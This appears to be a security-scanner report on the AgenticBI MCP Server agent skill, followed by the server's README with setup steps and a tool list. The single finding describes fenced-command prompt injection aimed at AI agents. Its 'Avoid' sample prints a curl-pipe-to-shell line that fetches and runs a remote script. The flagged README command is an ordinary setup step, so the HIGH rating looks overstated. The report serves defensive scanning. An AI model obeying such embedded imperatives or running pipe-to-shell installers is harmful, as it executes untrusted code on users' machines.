CategoryWeightCategory scoreContribution

Securityprompt, exec, net, exfil, eval

35%

26.3 pts

Supply chainhash, typosquat, maintainer, lockfile

20%

100

20.0 pts

Maintenancestaleness, pinning, CI

15%

100

15.0 pts

TransparencySKILL.md, perms, README

15%

100

15.0 pts

Communityinstalls, verify, response

15%

100

15.0 pts

Findings & checks · 1 flagged

Securityscore 75 · 1 finding

HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · README.md

HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.

Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted

excerptREADME.md· markdown

53```bash

54claude mcp add agenticbi --transport http https://app.agenticbi.com/api/2.0/mcp

55```

571. Run the command above in your terminal.

582. Exit and relaunch Claude Code.

593. Run `/mcp`, select **agenticbi**, and click **Enable**.

604. Click the authentication button — your browser opens to AgenticBI login.

615. Sign in or create an account and authorize access.

Occurrences

1 occurrence · at L53

How to fix

Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.

Delete the imperative ("run this", "execute the following") from inside the fence.
If you must show setup, label the block text (not bash) so it reads as prose, not a command.
Move any real installer into a reviewed, version-pinned script in the repo and link to it.

Avoid

```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```

Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.

Framework references

OWASPLLM01 ATLASAML.T0051

Trace & refs

ruleSS-SKILL-INJECT-FENCED-RUN-01sha2566b04b59d285bc81f…rubric 365aacaView on GitHub

Supply chainscore 100 · 0 findings

✓—All supply chain checks passedNo findings in this category for the latest scan.pass

Maintenancescore 100 · 0 findings

✓—All maintenance checks passedNo findings in this category for the latest scan.pass

Transparencyscore 100 · 0 findings

✓—All transparency checks passedNo findings in this category for the latest scan.pass

Communityscore 100 · 0 findings

✓—All community checks passedNo findings in this category for the latest scan.pass

The primary manifest — the file an agent reads to learn what this artifact does.

README.md · 1 file

README.md8.8 KB · Markdown

AgenticBI MCP Server

Demo

Watch AgenticBI in action: https://www.youtube.com/@TryAgenticBI

Field	Value
Product	AgenticBI MCP Server
Purpose	Connect Claude, Cursor, VS Code, ChatGPT, Codex CLI, and other MCP-enabled AI clients directly to business data
Endpoint	`https://app.agenticbi.com/api/2.0/mcp`
Protocol	MCP 2024-11-05
Transport	Streamable HTTP (POST) with SSE
Authentication	OAuth 2.1 with PKCE
Tools Available	33
GitHub	`https://github.com/AgenticBIHQ/agenticbi-mcp-server`

Prerequisites

Requirement
MCP-compatible AI client (Claude Desktop, Claude Code, Cursor, VS Code, ChatGPT, Codex CLI)

Client Setup

Claude Desktop

Add to claude_desktop_config.json:

{
  "mcpServers": {
    "agenticbi": {
      "url": "https://app.agenticbi.com/api/2.0/mcp"
    }
  }
}

File locations:

macOS: ~/Library/Application Support/Claude/claude_desktop_config.json
Windows: %APPDATA%\Claude\claude_desktop_config.json

On first use, your browser opens to AgenticBI login. Sign in or create an account to authorize.

Full Guide: https://app.agenticbi.com/docs/mcp-server.html

Claude Code

claude mcp add agenticbi --transport http https://app.agenticbi.com/api/2.0/mcp

Run the command above in your terminal.
Exit and relaunch Claude Code.
Run /mcp, select agenticbi, and click Enable.
Click the authentication button — your browser opens to AgenticBI login.
Sign in or create an account and authorize access.
Verify by asking:

What AgenticBI tools are available?

#### Alternative: Manual Token Authentication

Generate a token in AgenticBI → Settings → AI Settings → MCP Token, then run:

claude mcp add agenticbi https://app.agenticbi.com/api/2.0/mcp \
  --transport http \
  --header "Authorization: Bearer YOUR_MCP_TOKEN"

Full Guide: https://app.agenticbi.com/docs/claude-code-setup.html

Cursor

Requires Cursor v0.45 or later.

Open Settings → Cursor Settings
Select Tools & Integrations → New MCP Server
Add the following to your mcp.json:

{
  "mcpServers": {
    "agenticbi": {
      "url": "https://app.agenticbi.com/api/2.0/mcp"
    }
  }
}

Save the file. Your browser opens to AgenticBI login on first use.

#### Alternative: Manual Token Authentication

{
  "mcpServers": {
    "agenticbi": {
      "url": "https://app.agenticbi.com/api/2.0/mcp",
      "headers": {
        "Authorization": "Bearer YOUR_MCP_TOKEN"
      }
    }
  }
}

Full Guide: https://app.agenticbi.com/docs/cursor-mcp-setup.html

VS Code

#### Option A — Command Palette (Recommended)

Open Command Palette:

macOS: Cmd + Shift + P
Windows: Ctrl + Shift + P

Search for MCP: Add Server
Select HTTP as the server type
Enter:

   https://app.agenticbi.com/api/2.0/mcp

Name it agenticbi
Save
Authorize via browser on first use

#### Option B — Configuration File

Add to settings.json:

{
  "mcp": {
    "servers": {
      "agenticbi": {
        "type": "http",
        "url": "https://app.agenticbi.com/api/2.0/mcp"
      }
    }
  }
}

Or add to .vscode/mcp.json:

{
  "servers": {
    "agenticbi": {
      "type": "http",
      "url": "https://app.agenticbi.com/api/2.0/mcp"
    }
  }
}

#### Alternative: Manual Token Authentication

{
  "mcp": {
    "servers": {
      "agenticbi": {
        "type": "http",
        "url": "https://app.agenticbi.com/api/2.0/mcp",
        "headers": {
          "Authorization": "Bearer YOUR_MCP_TOKEN"
        }
      }
    }
  }
}

Full Guide: https://app.agenticbi.com/docs/vscode-mcp-setup.html

ChatGPT

Click + in the message input and select Connectors, or go to Settings → Connected Apps
Choose Add Custom Connector
Name it AgenticBI
Enter the server URL:

   https://app.agenticbi.com/api/2.0/mcp

Select OAuth 2.0 authentication
Click Save
On first use, ChatGPT opens your browser for AgenticBI sign-in and authorization

#### Alternative: Manual Token Authentication

Generate a token in AgenticBI → Settings → AI Settings → MCP Token
Repeat steps 1–4 above
Select Bearer Token authentication
Paste your token
Click Save

Full Guide: https://app.agenticbi.com/docs/chatgpt-mcp-setup.html

Codex CLI

Add to ~/.codex/config.json:

{
  "mcpServers": {
    "agenticbi": {
      "type": "http",
      "url": "https://app.agenticbi.com/api/2.0/mcp"
    }
  }
}

On first use, your browser opens to AgenticBI login for authorization.

#### Alternative: Manual Token Authentication

{
  "mcpServers": {
    "agenticbi": {
      "type": "http",
      "url": "https://app.agenticbi.com/api/2.0/mcp",
      "headers": {
        "Authorization": "Bearer YOUR_MCP_TOKEN"
      }
    }
  }
}

Full Guide: https://app.agenticbi.com/docs/codex-mcp-setup.html

Authentication Endpoints

Endpoint	URL
Authorization	`https://app.agenticbi.com/oauth/mcp/authorize`
Token	`https://app.agenticbi.com/oauth/mcp/token`
Registration	`https://app.agenticbi.com/oauth/mcp/register`

Tool Categories

Category	Tool Count
Ask & Query	6
Dashboards & Exports	4
Insights & Alerts	3
Documents	2
Create & Manage	16
Destructive	2
Total	33

Ask & Query Tools

Tool	Description
`ask`	Ask a data question in natural language
`get_data`	Retrieve full dataset or widget data
`search`	Search AgenticBI assets
`find_widget`	Find widgets by name
`get_details`	Retrieve asset details
`explain_lineage`	Trace how an answer was built

Dashboard & Export Tools

Tool	Description
`list_dashboards`	List dashboards
`get_embed_url`	Generate embed links
`export_pdf`	Export dashboards/widgets as PDF
`export_csv`	Export data as CSV

Insights & Alerts Tools

Tool	Description
`get_insights`	Generate AI-powered insights
`list_alerts`	List alerts
`cloud9ql_assist`	Generate, fix, explain, convert, validate or preview Cloud9QL

Document Tools

Tool	Description
`ask_document`	Ask questions against ingested documents
`list_documents`	List ingested documents

Create & Manage Tools

Tool	Description
`do`	Execute operations in natural language
`push_data`	Push rows into datasets
`run`	Execute saved queries/reports
`create_datasource`	Create a datasource connection
`create_query`	Create a query
`create_widget`	Create a visualization
`update_widget`	Update a visualization
`layout_dashboard`	Arrange dashboard widgets
`import_file`	Import CSV, JSON, XML, or Excel
`create_report`	Create scheduled reports
`update_report`	Update reports
`create_alert`	Create alerts
`test_alert`	Test alerts
`update_alert`	Update alerts
`ingest_document`	Ingest documents
`extract_document_data`	Extract structured data from documents

Destructive Tools

Tool	Description
`delete`	Delete AgenticBI assets
`delete_document`	Delete ingested documents

Health & Limits

Setting	Value
Health Endpoint	`GET /api/2.0/mcp/health`
Session Header	`Mcp-Session-Id`
Idle Timeout	30 minutes
Max Concurrent Sessions	1,000
Default Rows (`ask`)	500
Default Rows (`get_data`)	10,000
Max Rows	200,000

Example Prompts

Example
What were our top 10 customers by revenue last quarter?
Why did churn spike in March?
Which marketing channels drove the most pipeline this month?
Create a dashboard showing weekly signups by source.
Alert me when MRR drops more than 5% week over week.
Pull our call transcripts and summarize the top objections from lost deals.
Upload this PDF and extract the key metrics into a dataset.
Export the Q3 revenue dashboard as a PDF and email it to the team.

Important Links

Resource	URL
Website	`https://www.agenticbi.com`
MCP Docs	`https://app.agenticbi.com/docs/mcp-server.html`
Privacy Policy	`https://www.agenticbi.com/privacy`
Terms of Service	`https://www.agenticbi.com/terms`

Support

Contact
[email protected]

Agenticbi Mcp Server— agent skill

Is Agenticbi Mcp Server safe to install?

AgenticBI MCP Server

Demo

Prerequisites

Client Setup

Claude Desktop

Claude Code

Cursor

VS Code

ChatGPT

Codex CLI

Authentication Endpoints

Tool Categories

Ask & Query Tools

Dashboard & Export Tools

Insights & Alerts Tools

Document Tools

Create & Manage Tools

Destructive Tools

Health & Limits

Example Prompts

Important Links

Support

Directory Listings

Audit the pieces. Scan the whole. Decide.